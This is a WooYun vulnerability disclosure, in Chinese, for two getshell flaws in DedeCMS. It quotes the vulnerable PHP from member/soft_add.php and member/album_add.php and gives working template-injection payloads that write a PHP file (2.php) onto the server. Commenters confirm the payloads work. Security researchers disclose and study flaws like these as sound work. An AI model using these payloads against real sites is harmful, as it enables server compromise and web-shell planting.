当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(7) 关注此漏洞

缺陷编号: WooYun-2013-18564

漏洞标题: dedecms鸡肋getshell

相关厂商: dedecms

漏洞作者: yy520

提交时间: 2013-02-10 11:11

公开时间: 2013-02-10 11:11

漏洞类型: 命令执行

危害等级: 低

自评Rank: 1

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-02-10: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-02-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

一枚gpc off的getshell,一枚管理员修改了某个配置的getshell,唉,都是鸡肋

新年快乐

详细说明:

gpc off 的getshell

code 区域
/member/soft_add.php

156 if($softurl1!='')
157 {
158 $urls .= "{dede:link islocal='1' text='{$servermsg1}'} $softurl1 {/dede:link}\r\n";
159 }





其中的$servermsg1毫无过滤的进入了$url中

构造好$servermsg1='}x{/dede:link}{dede:yy520 name\="']=0;fputs(fopen('2.php','w'),'justforfun');//"}yy520{/dede:yy520}



在plus 底下就可以生成一个2.php





当$cfg_mb_rmdown 为N的时候的getshell

member/album_add.php

code 区域
92      if($formhtml==1)
93 {
94 $imagebody = stripslashes($imagebody); //无视gpc了
95 $imgurls .= GetCurContentAlbum($imagebody,$copysource,$litpicname);
96 if($ddisfirst==1 && $litpic=='' && !empty($litpicname))
97 {
98 $litpic = $litpicname;
99 $hasone = true;
100 }
101 }
102 $info = '';

进入到GetCurContentAlbum
function GetCurContentAlbum($body,$rfurl,&$firstdd)
28 {
29 global $cfg_multi_site,$cfg_basehost,$ddmaxwidth,$cfg_basedir,$pagestyle,$cfg_mb_rmdown,$title,$cfg_ml,$cfg_user_dir;
30 include_once (DEDEINC."/dedecollection.func.php");
31 if(empty($ddmaxwidth)) $ddmaxwidth = 240;
32 $rsimg = '';
33 $basehost = "http://".$_SERVER["HTTP_HOST"];
34 $img_array = array();
35 preg_match_all("/(src|SRC)=[\"|'| ]{0,}(http:\/\/([^>]*)\.(gif|jpg|png))/isU", $body, $img_array);
36 $img_array = array_unique($img_array[2]);
37 $imgUrl = $cfg_user_dir."/".$cfg_ml->M_ID;
38 $imgPath = $cfg_basedir.$imgUrl;
39 if(!is_dir($imgPath."/"))
40 {
41 MkdirAll($imgPath,$GLOBALS['cfg_dir_purview']);
42 CloseFtp();
43 }
44 $milliSecond = MyDate("ymdHis",time());
45 foreach($img_array as $key => $value)
46 {
47 if(preg_match("#".$basehost."#i", $value))
48 {
49 continue;
50 }
51 if($cfg_basehost!=$basehost && preg_match("#".$cfg_basehost."#i", $value))
52 {
53 continue;
54 }
55 if(!preg_match("#^http:\/\/#i", $value))
56 {
57 continue;
58 }
59 if($cfg_mb_rmdown=='Y')
  {...........}
  
93 else
94 {
95 $rsimg .= "{dede:img ddimg='$value' text='' width='0' height='0'} $value {/dede:img}\r\n";
96 }
97 }
98 return $rsimg;
99 }





构造

formhtml为1

imagabody为

src=http://{/dede:img}{dede:yy520 name\="']=0;fputs(fopen('2.php','w'),'justforfun');//"}yy520{/dede:yy520}.jpg

漏洞证明:

本地测试均成功....

修复方案:

版权声明:转载请注明来源 yy520@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共3人评价):
登陆后才能进行评分
66.7%
33.4%
0%
0%
0%

评价

  1. 2013-02-10 12:28 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
    1

    大哥是黑客

  2. 2013-02-13 16:22 | 鬼哥 ( 普通白帽子 | Rank:138 漏洞数:14 | 鬼哥 !!!!)
    1

    成功不了吧。。求细节。。。

  3. 2013-02-13 18:01 | 鬼哥 ( 普通白帽子 | Rank:138 漏洞数:14 | 鬼哥 !!!!)
    1

    我错了。。没搞清楚环境。。刚测试了OK了。。确实很鸡肋

登录后才能发表评论,请先 登录